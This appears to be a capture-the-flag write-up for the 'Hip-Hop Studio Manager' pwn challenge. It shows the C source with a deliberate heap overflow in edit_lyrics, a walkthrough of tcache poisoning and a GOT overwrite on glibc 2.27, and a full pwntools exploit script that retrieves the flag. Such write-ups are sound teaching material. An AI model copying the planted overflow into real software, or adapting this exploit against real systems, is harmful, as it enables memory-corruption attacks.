0x00000000
← pwndbg> back

./HIP-HOP_

PWN MOJO-JOJO CTF 0x48cae02c
DESCRIPTION
DISASM // SOURCE
// hiphop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LYRIC_SIZE 0x100
#define MAX_TRACKS 10

// ANSI color codes
#define RST   "\033[0m"
#define BLD   "\033[1m"
#define CYN   "\033[36m"
#define MAG   "\033[35m"
#define WHT   "\033[37m"
#define BCYN  "\033[96m"
#define BMAG  "\033[95m"
#define BGRN  "\033[92m"
#define BYLW  "\033[93m"
#define YLW   "\033[33m"
#define DIM   "\033[2m"

// Secure centralized storage
struct studio_t {
    char isolation1[4096];
    void *tracks[MAX_TRACKS];
    char isolation2[4096];
} __attribute__((aligned(64)));

struct studio_t studio = {.isolation1 = {1}, .isolation2 = {1}};

void banner() {
    printf("\n");
    printf(BLD BMAG "    ██╗  ██╗██╗██████╗     ██╗  ██╗ ██████╗ ██████╗ \n" RST);
    printf(BLD MAG  "    ██║  ██║██║██╔══██╗    ██║  ██║██╔═══██╗██╔══██╗\n" RST);
    printf(BLD BCYN "    ███████║██║██████╔╝    ███████║██║   ██║██████╔╝\n" RST);
    printf(BLD CYN  "    ██╔══██║██║██╔═══╝     ██╔══██║██║   ██║██╔═══╝ \n" RST);
    printf(BLD BYLW "    ██║  ██║██║██║         ██║  ██║╚██████╔╝██║     \n" RST);
    printf(BLD YLW  "    ╚═╝  ╚═╝╚═╝╚═╝         ╚═╝  ╚═╝ ╚═════╝ ╚═╝     \n" RST);
    printf(DIM WHT  "              [ S T U D I O   M A N A G E R ]\n" RST);
    printf("\n");
}

void mic_check() {
    asm("nop; nop; nop; nop;");
    printf(BLD BGRN "\n[+] Master Access Token Accepted!\n" RST);
    printf(CYN "    Retrieving secret flag...\n" RST);
    system("/bin/cat flag.txt");
    exit(0);
}

int get_int() {
    char buf[16];
    if (fgets(buf, 15, stdin) == NULL) return -1;
    return atoi(buf);
}

void add_track() {
    int i;
    for (i = 0; i < MAX_TRACKS; i++) if (studio.tracks[i] == NULL) break;
    if (i == MAX_TRACKS) return;
    studio.tracks[i] = malloc(LYRIC_SIZE);
    printf(BGRN "[+] " WHT "Track " BYLW "%d" WHT " loaded at %p\n" RST, i, studio.tracks[i]);
}

void delete_track() {
    printf(CYN "[?] " WHT "Idx: " RST);
    int idx = get_int();
    if (idx < 0 || idx >= MAX_TRACKS || studio.tracks[idx] == NULL) return;
    free(studio.tracks[idx]);
    studio.tracks[idx] = NULL;
    printf(YLW "[*] " WHT "Dropped\n" RST);
}

void edit_lyrics() {
    printf(CYN "[?] " WHT "Idx: " RST);
    int idx = get_int();
    if (idx < 0 || idx >= MAX_TRACKS || studio.tracks[idx] == NULL) return;
    printf(CYN "[>] " WHT "Lyrics: " RST);
    // Large enough overflow for Tcache Poisoning
    read(0, studio.tracks[idx], LYRIC_SIZE + 0x24); 
    printf(BGRN "[+] " WHT "Recorded\n" RST);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    banner();
    printf(DIM WHT "[*] Console ready at " BCYN "0x%zx" RST "\n", (size_t)&studio.tracks);
    while (1) {
        printf("\n 1.Add 2.Drop 3.Edit 4.Exit >> ");
        int choice = get_int();
        if (choice == 1) add_track();
        else if (choice == 2) delete_track();
        else if (choice == 3) edit_lyrics();
        else if (choice == 4) break;
    }
    return 0;
}
WRITEUP // WALKTHROUGH

Walkthrough: Hip-Hop Studio Manager

The Hip-Hop Studio Manager challenge is a modern heap exploitation task targeting glibc 2.27 (Ubuntu 18.04). The goal is to leverage a heap overflow to perform a Tcache Poisoning attack and gain arbitrary write, ultimately overwriting a Global Offset Table (GOT) entry to redirect execution to a "debug" function that prints the flag.

Challenge Overview

  • Vulnerability: Heap overflow in the edit_lyrics function.
  • Constraint: The binary uses Partial RELRO, which leaves the .got.plt section writable.
  • Protection: PIE, NX, and Stack Canaries are enabled.
  • Target: Overwrite atoi@got with the address of the mic_check function.

Exploit Strategy: Tcache Poisoning

1. Leak and Reconnaissance

The binary conveniently prints the address of the tracks array in the BSS at startup. This allows us to calculate the binary base address and find the exact location of atoi@got and mic_check.

2. Heap Setup

We allocate two chunks of the same size (0x110 including headers). We then free the second chunk (idx1) to the tcache.

add() # idx 0
add() # idx 1
delete(1) # Free to tcache

3. Tcache Poisoning

Using the overflow in idx0, we overwrite the next pointer of the freed idx1 chunk with the address of atoi@got.

payload = b'A' * 0x100 + p64(0) + p64(0x111) + p64(atoi_got)
edit(0, payload)

4. Arbitrary Write

After poisoning the tcache, the next allocation of the same size will return the original heap chunk, but the allocation after that will return a pointer to atoi@got.

add() # Returns original idx 1
add() # Returns atoi@got!

5. GOT Overwrite and Trigger

We use the newly acquired pointer to atoi@got to write the address of the mic_check function. Finally, sending a menu choice (like '1') triggers a call to atoi, which is now redirected to mic_check.

Solver Usage

The included solve.py uses the provided dynamic loader (ld-linux-x86-64.so.2) to ensure compatibility across different host systems:

process(['./dist/ld-linux-x86-64.so.2', '--library-path', './dist', './dist/hiphop'])

POC Result

The exploit successfully triggers the mic_check function and retrieves the flag:

[+] Master Access Token Accepted!
    Retrieving secret flag...
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
EXECUTION // EXPLOIT
$ python3 solve.py
#!/usr/bin/env python3
from pwn import *
import re

# Context setup
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# Use the loader to run the binary with the custom glibc
binary_path = './dist/hiphop'
loader_path = './dist/ld-linux-x86-64.so.2'
libc_dir = './dist'

binary = ELF(binary_path, checksec=False)

def strip_ansi(data):
    return re.sub(rb'\x1b\[[0-9;]*m', b'', data).decode('ascii')

def start():
    if args.REMOTE:
        return remote('localhost', 9008)
    else:
        # Launch binary using the loader for maximum reliability
        return process([loader_path, '--library-path', libc_dir, binary_path])

io = start()

def add():
    io.sendlineafter(b' >> ', b'1')
    return

def delete(idx):
    io.sendlineafter(b' >> ', b'2')
    io.sendlineafter(b'Idx: ', str(idx).encode())

def edit(idx, content):
    io.sendlineafter(b' >> ', b'3')
    io.sendlineafter(b'Idx: ', str(idx).encode())
    # Overflow exactly into next chunk metadata
    payload = content.ljust(0x100 + 0x20, b'\x00')
    io.sendafter(b'Lyrics: ', payload)

# 1. Leak and calculate offsets
io.recvuntil(b'[*] Console ready at \x1b[96m0x')
tracks_addr = int(io.recvuntil(b'\x1b', drop=True), 16)
log.success(f"Tracks at: {hex(tracks_addr)}")

# Symbol tracks @ 0x2030c0
binary.address = tracks_addr - 0x2030c0
log.info(f"Binary base: {hex(binary.address)}")

# 2. Tcache Poisoning
add() # 0
add() # 1

log.info("Freeing idx1 to tcache...")
delete(1)

# Overwrite idx1's next pointer with atoi@got
atoi_got = binary.got['atoi']
mic_check = binary.symbols['mic_check']
log.success(f"Targeting atoi@got: {hex(atoi_got)}")
log.success(f"mic_check: {hex(mic_check)}")

# idx0 -> data area (0x100 bytes)
payload = b'A' * 0x100
payload += p64(0)
payload += p64(0x111)
payload += p64(atoi_got)

log.info("Poisoning Tcache...")
edit(0, payload)

# 3. Allocations to reach GOT
add() # 1
add() # 2
log.success("Allocation 2 is at atoi@got!")

# 4. Overwrite atoi@got
log.info("Overwriting atoi@got...")
edit(2, p64(mic_check))

log.success("Triggering Shell (calling atoi)...")
io.sendline(b'1')

# Capture flag
flag_data = io.recvall(timeout=2)
flag = re.search(r'MOJO-JOJO\{.*?\}', flag_data.decode())
if flag:
    log.success(f"Flag captured: {flag.group(0)}")
else:
    log.info("Raw output:\n" + flag_data.decode())
    log.error("Flag not found!")

io.close()